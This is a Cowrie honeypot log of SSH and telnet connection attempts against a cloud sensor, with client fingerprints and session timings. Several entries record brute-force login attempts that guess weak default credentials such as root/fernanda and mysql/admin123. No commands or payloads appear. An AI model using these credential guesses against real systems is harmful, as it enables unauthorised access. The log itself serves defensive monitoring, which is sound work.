{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":43832,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5a2374649a","protocol":"ssh","message":"New connection: 43.157.98.118:43832 (159.203.135.109:22) [session: ef5a2374649a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:26.146034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:26.151430Z","src_ip":"43.157.98.118","session":"ef5a2374649a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:26.241585Z","src_ip":"43.157.98.118","session":"ef5a2374649a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fernanda","message":"login attempt [root/fernanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:26.919148Z","src_ip":"43.157.98.118","session":"ef5a2374649a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:28.009671Z","src_ip":"43.157.98.118","session":"ef5a2374649a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":40096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49e532e32b6","protocol":"telnet","message":"New connection: 162.248.7.67:40096 (159.203.135.109:23) [session: a49e532e32b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:30.673922Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":39008,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce010e732003","protocol":"ssh","message":"New connection: 102.211.152.138:39008 (159.203.135.109:22) [session: ce010e732003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:34.945782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:34.950561Z","src_ip":"102.211.152.138","session":"ce010e732003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:35.067734Z","src_ip":"102.211.152.138","session":"ce010e732003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testing123","message":"login attempt [test/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:35.512146Z","src_ip":"102.211.152.138","session":"ce010e732003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:36.619565Z","src_ip":"102.211.152.138","session":"ce010e732003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14571,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cfb5f038ce8","protocol":"telnet","message":"New connection: 182.253.54.171:14571 (10.17.0.5:23) [session: 1cfb5f038ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:37.614662Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":44258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6741d60174b","protocol":"telnet","message":"New connection: 88.157.1.16:44258 (10.17.0.5:23) [session: f6741d60174b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:45.599204Z"}
{"eventid":"cowrie.session.closed","duration":0.005189180374145508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:45.604237Z","src_ip":"88.157.1.16","session":"f6741d60174b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":49418,"dst_ip":"159.203.135.109","dst_port":23,"session":"d573c6b96338","protocol":"telnet","message":"New connection: 162.248.7.67:49418 (159.203.135.109:23) [session: d573c6b96338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:45.613132Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":49766,"dst_ip":"159.203.135.109","dst_port":23,"session":"57364ef636d8","protocol":"telnet","message":"New connection: 162.248.7.67:49766 (159.203.135.109:23) [session: 57364ef636d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:46.230023Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":45104,"dst_ip":"10.17.0.5","dst_port":23,"session":"43624b0a8c0d","protocol":"telnet","message":"New connection: 88.157.1.16:45104 (10.17.0.5:23) [session: 43624b0a8c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:48.295250Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":51392,"dst_ip":"159.203.135.109","dst_port":23,"session":"07223afadaae","protocol":"telnet","message":"New connection: 162.248.7.67:51392 (159.203.135.109:23) [session: 07223afadaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:48.822590Z"}
{"eventid":"cowrie.session.closed","duration":2.2975995540618896,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:50.592728Z","src_ip":"88.157.1.16","session":"43624b0a8c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":38374,"dst_ip":"10.17.0.5","dst_port":22,"session":"70dcbcb3130e","protocol":"ssh","message":"New connection: 203.90.110.186:38374 (10.17.0.5:22) [session: 70dcbcb3130e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:53.676287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:53.680914Z","src_ip":"203.90.110.186","session":"70dcbcb3130e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:53.908044Z","src_ip":"203.90.110.186","session":"70dcbcb3130e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"admin123","message":"login attempt [mysql/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:54.839518Z","src_ip":"203.90.110.186","session":"70dcbcb3130e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:56.069677Z","src_ip":"203.90.110.186","session":"70dcbcb3130e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":45168,"dst_ip":"10.17.0.5","dst_port":23,"session":"b755e7d78933","protocol":"telnet","message":"New connection: 88.157.1.16:45168 (10.17.0.5:23) [session: b755e7d78933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:58.515784Z"}
{"eventid":"cowrie.session.closed","duration":0.005664825439453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:58.521313Z","src_ip":"88.157.1.16","session":"b755e7d78933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":46158,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f503b378ef9","protocol":"telnet","message":"New connection: 88.157.1.16:46158 (10.17.0.5:23) [session: 4f503b378ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:58.592499Z"}
{"eventid":"cowrie.session.closed","duration":0.005717277526855469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:58.598065Z","src_ip":"88.157.1.16","session":"4f503b378ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823854207992554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:01.497645Z","src_ip":"162.248.7.67","session":"a49e532e32b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":32894,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca118d80c02d","protocol":"telnet","message":"New connection: 162.248.7.67:32894 (159.203.135.109:23) [session: ca118d80c02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:01.763568Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":46016,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb89e2ca21c","protocol":"telnet","message":"New connection: 88.157.1.16:46016 (10.17.0.5:23) [session: 1bb89e2ca21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:04.012396Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34594,"dst_ip":"159.203.135.109","dst_port":23,"session":"de38fd3a9df1","protocol":"telnet","message":"New connection: 162.248.7.67:34594 (159.203.135.109:23) [session: de38fd3a9df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:04.042832Z"}
{"eventid":"cowrie.session.closed","duration":0.04444384574890137,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:04.056694Z","src_ip":"88.157.1.16","session":"1bb89e2ca21c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34916,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5c097c0098a","protocol":"telnet","message":"New connection: 162.248.7.67:34916 (159.203.135.109:23) [session: c5c097c0098a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:05.420732Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37668,"dst_ip":"159.203.135.109","dst_port":23,"session":"eab25c566809","protocol":"telnet","message":"New connection: 162.248.7.67:37668 (159.203.135.109:23) [session: eab25c566809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:08.056496Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":40628,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c406b485b6","protocol":"telnet","message":"New connection: 162.248.7.67:40628 (159.203.135.109:23) [session: d7c406b485b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:11.265600Z"}
{"eventid":"cowrie.session.closed","duration":31.272405862808228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:16.885295Z","src_ip":"162.248.7.67","session":"d573c6b96338","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662366151809692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:16.892262Z","src_ip":"162.248.7.67","session":"57364ef636d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56383442878723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:19.386287Z","src_ip":"162.248.7.67","session":"07223afadaae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":36234,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a0d99d2a57","protocol":"ssh","message":"New connection: 43.157.98.118:36234 (159.203.135.109:22) [session: f4a0d99d2a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:20.484966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:20.489721Z","src_ip":"43.157.98.118","session":"f4a0d99d2a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:20.582324Z","src_ip":"43.157.98.118","session":"f4a0d99d2a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678qwerty","message":"login attempt [root/12345678qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:21.283624Z","src_ip":"43.157.98.118","session":"f4a0d99d2a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:22.378839Z","src_ip":"43.157.98.118","session":"f4a0d99d2a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":52084,"dst_ip":"159.203.135.109","dst_port":23,"session":"379833efe948","protocol":"telnet","message":"New connection: 162.248.7.67:52084 (159.203.135.109:23) [session: 379833efe948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:25.237579Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":57132,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb3ffc88239","protocol":"telnet","message":"New connection: 162.248.7.67:57132 (159.203.135.109:23) [session: bdb3ffc88239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:31.711051Z"}
{"eventid":"cowrie.session.closed","duration":31.527587413787842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:33.291025Z","src_ip":"162.248.7.67","session":"ca118d80c02d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29318618774414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:35.335901Z","src_ip":"162.248.7.67","session":"de38fd3a9df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":42596,"dst_ip":"159.203.135.109","dst_port":22,"session":"019b1194ff32","protocol":"ssh","message":"New connection: 102.211.152.138:42596 (159.203.135.109:22) [session: 019b1194ff32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:36.179195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:36.184404Z","src_ip":"102.211.152.138","session":"019b1194ff32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:36.293176Z","src_ip":"102.211.152.138","session":"019b1194ff32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"biadmin","message":"login attempt [root/biadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:36.757867Z","src_ip":"102.211.152.138","session":"019b1194ff32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.399649143218994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:36.820245Z","src_ip":"162.248.7.67","session":"c5c097c0098a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:37.869331Z","src_ip":"102.211.152.138","session":"019b1194ff32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.815229415893555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:38.871617Z","src_ip":"162.248.7.67","session":"eab25c566809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34028,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2da9a9bf227","protocol":"telnet","message":"New connection: 162.248.7.67:34028 (159.203.135.109:23) [session: b2da9a9bf227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:38.901361Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":35118,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07ffa762a2f","protocol":"telnet","message":"New connection: 162.248.7.67:35118 (159.203.135.109:23) [session: c07ffa762a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:40.152115Z"}
{"eventid":"cowrie.session.closed","duration":30.343112230300903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:41.608602Z","src_ip":"162.248.7.67","session":"d7c406b485b6","protocol":"telnet"}
